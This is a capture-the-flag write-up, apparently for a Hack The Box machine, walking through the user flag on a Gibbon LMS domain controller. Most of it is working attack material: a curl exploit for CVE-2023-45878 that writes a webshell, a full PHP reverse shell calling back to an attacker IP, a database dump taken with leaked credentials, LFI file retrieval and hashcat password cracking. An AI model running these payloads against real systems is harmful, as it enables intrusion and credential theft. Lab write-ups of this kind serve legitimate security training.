User Flag#

Nmap Scan#

As always we start with an Nmap scan

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# Nmap 7.95 scan initiated Sat Mar 15 21:21:24 2025 as: /usr/lib/nmap/nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.60
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Nmap scan report for 10.10.11.60 (10.10.11.60)
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Host is up (0.050s latency).
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Not shown: 65520 filtered tcp ports (no-response)
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PORT      STATE SERVICE       VERSION
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22/tcp    open  ssh?
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| fingerprint-strings:
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|   NULL:
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|_    Exceeded MaxStartups
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53/tcp    open  domain        Simple DNS Plus
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80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
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|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
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135/tcp   open  msrpc         Microsoft Windows RPC
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139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
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445/tcp   open  microsoft-ds?
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593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
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636/tcp   open  tcpwrapped
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3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
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3269/tcp  open  tcpwrapped
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9389/tcp  open  mc-nmf        .NET Message Framing
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49667/tcp open  msrpc         Microsoft Windows RPC
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64081/tcp open  msrpc         Microsoft Windows RPC
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64085/tcp open  msrpc         Microsoft Windows RPC
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64093/tcp open  msrpc         Microsoft Windows RPC
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1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
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SF-Port22-TCP:V=7.95%I=7%D=3/15%Time=67D5EF6F%P=x86_64-pc-linux-gnu%r(NULL
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SF:,16,"Exceeded\x20MaxStartups\r\n");
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Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
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Device type: general purpose
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Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
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OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
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Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
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No exact OS matches for host (test conditions non-ideal).
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Network Distance: 2 hops
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Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
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Host script results:
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|_clock-skew: 7h00m00s
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| smb2-security-mode:
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|   3:1:1:
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|_    Message signing enabled and required
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| smb2-time:
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|   date: 2025-03-16T04:22:59
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|_  start_date: N/A
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TRACEROUTE (using port 139/tcp)
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HOP RTT      ADDRESS
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1   50.73 ms 10.10.14.1 (10.10.14.1)
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2   50.81 ms 10.10.11.60 (10.10.11.60)
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OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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# Nmap done at Sat Mar 15 21:24:35 2025 -- 1 IP address (1 host up) scanned in 191.48 seconds

I added frizzdc.frizz.htbto /etc/hosts

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echo -e "10.10.11.60\tfrizzdc.frizz.htb" | sudo tee -a /etc/hosts
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10.10.11.60  frizzdc.frizz.htb

I then looked at frizzdc.frizz.htb to check what we have It is an educational website powered by Gibbon The first thing I noticed was a notice stating that accounts will be unavailable for 48 hours due to Gibbon’s migration to Azure AD SSO. Additionally, I observed that the Gibbon version is 25.0.00. A quick googling shows that this version of Gibbon has a lot of vulnerabilities One critical issue in Gibbon version 25.0.00 is an unauthenticated Arbitrary File Write vulnerability. The endpoint rubrics_visualise_saveAjax.phps does not require authentication, allowing an attacker to create PHP files. This, in turn, enables unauthenticated Remote Code Execution (RCE) CVE-2023-45878. After reading the PoC, I crafted this payload to generate a PHP file that can allow me execute remote code

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curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
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-H "Host: frizzdc.frizz.htb" \
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--data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4K" \
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--data-urlencode "path=shell.php" \
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--data-urlencode "gibbonPersonID=0000000001"

And got this response shell.php I’m inside a webservice now, I tried to get a reverse shell using Powershell payloads from revshells but I failed. And then I tried to update the php code I send with the post request using curl by writing a reverse shell to the file shell.php

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curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
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-H "Host: frizzdc.frizz.htb" \
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--data-urlencode "img=image/png;asdf,<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = 'powershell';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {
						$status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.56', 4444);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>" \
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--data-urlencode "path=shell.php" \
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--data-urlencode "gibbonPersonID=0000000001"

I setup a listener on port 4444 and got a reverse shell alt text I needed to escape the webservice, by investigating the current directory I could see an interesting config.php file it contained some credentials for gibbon database so I tried to dump the database so I can transfer it to my local machine to analyze it

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mysqldump --user=MrGibbonsDB --password=MisterGibbs!Parrot!?1 gibbon > gibbon-backup.sql

alt text To transfer it locally, I exploited CVE-2023-34598, a Local File Inclusion (LFI) vulnerability. This vulnerability allows including the content of various files within the installation folder in the server’s response by manipulating the q parameter. To exploit this, I moved the SQL backup file into the Gibbon website’s installation folder and accessed it through the browser. alt text I found these credentials inside the dumped database. I needed to crack the password, so I checked Gibbon’s source code to determine how the password is hashed Gibbon hashes passwords using SHA-256 with a prepended salt. To crack it, I used Hashcat with this command:

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sudo hashcat -m 1420 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

After the cracking process, I retrieved the plaintext password using

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sudo hashcat --show -m 1420 thefrizz/hash.txt
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067f746faca44f170c6cd9d7c4bdac6bc:342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23

I tried to ssh using the username f.frizzle

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ssh f.frizzle@frizz.htb
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f.frizzle@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).

However, I encountered the following error, After some research, I the ssh server is using GSSAPI (Generic Security Services API) with Kerberos for SSO authentication.
First of all, I updated /etc/ssh/ssh_config by enabling GSSAPI

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GSSAPIAuthentication yes
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GSSAPIDelegateCredentials yes

And I had to create a krb5.conf file

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[libdefaults]
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    default_realm = FRIZZ.HTB
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[realms]
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    FRIZZ.HTB = {
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        kdc = frizzdc.frizz.htb
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        admin_server = 10.10.11.60
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    }
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[domain_realm]
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    .frizz.htb = FRIZZ.HTB
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    frizz.htb = FRIZZ.HTB

To access SSH using SSO, I needed to obtain a Ticket-Granting Ticket (TGT).
I initiated a ticket request using the username f.frizzle and password Jenni_Luvs_Magic23

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kinit -V f.frizzle@FRIZZ.HTB

Output:

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Using default cache: /tmp/krb5cc_1000
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Using principal: f.frizzle@FRIZZ.HTB
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Password for f.frizzle@FRIZZ.HTB:
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Authenticated to Kerberos v5

To verify the ticket, I used:

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klist

Output:

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Ticket cache: FILE:/tmp/krb5cc_1000
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Default principal: f.frizzle@FRIZZ.HTB
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Valid starting       Expires              Service principal
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03/28/2025 22:52:07  03/29/2025 08:52:07  krbtgt/FRIZZ.HTB@FRIZZ.HTB
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    renew until 03/29/2025 22:51:34

finnaly I tried to ssh again

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ssh f.frizzle@frizz.htb

alt text

And I got the user flag!